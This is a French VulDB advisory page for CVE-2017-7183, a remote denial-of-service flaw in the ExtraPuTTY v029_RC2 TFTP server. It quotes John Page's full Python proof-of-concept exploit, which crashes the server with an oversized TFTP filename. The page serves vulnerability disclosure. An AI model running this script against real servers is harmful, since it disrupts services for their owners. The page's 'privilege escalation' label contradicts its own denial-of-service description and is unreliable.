ExtraPuTTY 029_RC2/0.30 r15 tftp élévation de privilèges

CVSS Score méta-temporairePrix actuel de l'exploit (≈)Score d'intérêt CTI
6.1$0-$5k0.00

Résuméinformation

Une vulnérabilité classée problématique a été trouvée dans ExtraPuTTY 029_RC2/0.30 r15. L'élément affecté est une fonction inconnue du composant tftp. L’exploitation entraîne élévation de privilèges. Cette vulnérabilité est identifiée comme CVE-2017-7183. Il est possible de lancer l'attaque à distance. De plus, un exploit est disponible.

Détailsinformation

Une vulnérabilité a été trouvé dans ExtraPuTTY 029_RC2/0.30 r15 (Connectivity Software) et classée problématique. Ceci affecte une fonction inconnue du composant tftp. A cause de la manipulation avec une valeur d'entrée inconnue mène à une vulnérabilité de classe élévation de privilèges.

Le bug a été découvert sur 20/03/2017. La vulnerabilité a été publié en 20/03/2017 par John Page (hyp3rlinx) avec le numéro d'identification CVE-2017-7183 ExtraPuTTY v029_RC2 TFTP Denial Of Service avec mailinglist post (Bugtraq) (non défini). La notice d'information est disponible en téléchargement sur seclists.org Cette vulnérabilité a été nommée CVE-2017-7183. Elle est facile à utiliser. L'attaque peut être initialisée à distance. Aucune forme d'authentification est requise pour l'exploitation. Les details techniques sont inconnus mais une méthode d'exploitation public est connue.

Un exploit a été developpé par John Page et a été publié immédiatement après la notice d'information. L'exploit est disponible au téléchargment sur seclists.org. Il est déclaré comme preuve de concept. Le code utilisé par l'exploit est:

import socket

print "ExtraPuTTY v029_RC2 TFTP Server"
print "Remote Denial Of Service 0day Exploit"
print "John Page AKA hyp3rlinx\n"

TARGET=raw_input("[IP]>")
TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>"))
CRASH="A"*2000                     
PORT = 69

if TYPE==1:
    PAYLOAD = "\x00\x01"                                     
    PAYLOAD += CRASH + "\x00"   
    PAYLOAD += "netascii\x00"                                
elif TYPE==2:
    PAYLOAD = "\x00\x02"                                     
    PAYLOAD += CRASH + "\x00"   
    PAYLOAD += "netascii\x00"                                

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT))
    recv = s.recvfrom(255)
    if recv != None:
        print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET)
        s.sendto(PAYLOAD, (TARGET, PORT))
except Exception:
        print 'Server not avail, try later'
s.close()

Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.

La vulnérabilité est aussi documentée dans les base de données Exploit-DB (41639) et SecurityFocus (BID 96973†). Be aware that VulDB is the high quality source for vulnerability data.

Produitinformation

Taper

Nom

Version

CPE 2.3information

CPE 2.2information

CVSSv4information

VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

CVSSv3information

VulDB Score méta-base: 6.4
VulDB Score méta-temporaire: 6.1

VulDB Note de base: 5.3
VulDB Note temporaire: 4.8
VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

NVD Note de base: 7.5
NVD Vecteur: 🔍

CVSSv2information

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VecteurComplexitéAuthentificationConfidentialitéIntégritéDisponibilité
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller
DéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouillerDéverrouiller

VulDB Note de base: 🔍
VulDB Note temporaire: 🔍
VulDB Fiabilité: 🔍

NVD Note de base: 🔍

Exploitationinformation

Classe: élévation de privilèges
CWE: CWE-20
CAPEC: 🔍
ATT&CK: 🔍

Physique: Non
Local: Non
Remote: Oui

Disponibilité: 🔍
Accès: Public
Statut: Preuve de concept
Auteur: John Page
Télécharger: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Prédiction de prix: 🔍
Estimation actuelle des prix: 🔍

0-DayDéverrouillerDéverrouillerDéverrouillerDéverrouiller
Aujourd'huiDéverrouillerDéverrouillerDéverrouillerDéverrouiller

Exploit-DB: 🔍

Renseignements sur les menacesinformation

Intérêt: 🔍
Acteurs actifs: 🔍
Groupes APT actifs: 🔍

Contre-mesuresinformation

Recommandé: aucune mesure d'atténuation connue
Statut: 🔍

Heure 0 jour: 🔍
Délai d'exploitation: 🔍

Chronologieinformation

19/03/2017 🔍
20/03/2017 +1 jours 🔍
20/03/2017 +0 jours 🔍
20/03/2017 +0 jours 🔍
20/03/2017 +0 jours 🔍
27/03/2017 +7 jours 🔍
28/03/2017 +1 jours 🔍
10/12/2025 +3179 jours 🔍

Sourcesinformation

Bulletin: CVE-2017-7183 ExtraPuTTY v029_RC2 TFTP Denial Of Service
Chercheur: John Page (hyp3rlinx)
Statut: Non défini

CVE: CVE-2017-7183 (🔍)
GCVE (CVE): GCVE-0-2017-7183
GCVE (VulDB): GCVE-100-98927
SecurityFocus: 96973 - ExtraPuTTY CVE-2017-7183 Denial of Service Vulnerability
OSVDB: - CVE-2017-7183 - ExtraPuTTY - Denial of Service Issue

scip Labs: https://www.scip.ch/en/?labs.20161013

Entréeinformation

Créé: 28/03/2017 17:50
Mise à jour: 10/12/2025 11:00
Changements: 28/03/2017 17:50 (67), 23/08/2020 10:09 (5), 10/12/2025 11:00 (17)
Complet: 🔍
Cache ID: 216::103

Be aware that VulDB is the high quality source for vulnerability data.

Discussion

Aucun commentaire pour l'instant. Langues: fr + it + en.

Veuillez vous connecter pour commenter.

Want to stay up to date on a daily basis?

Enable the mail alert feature now!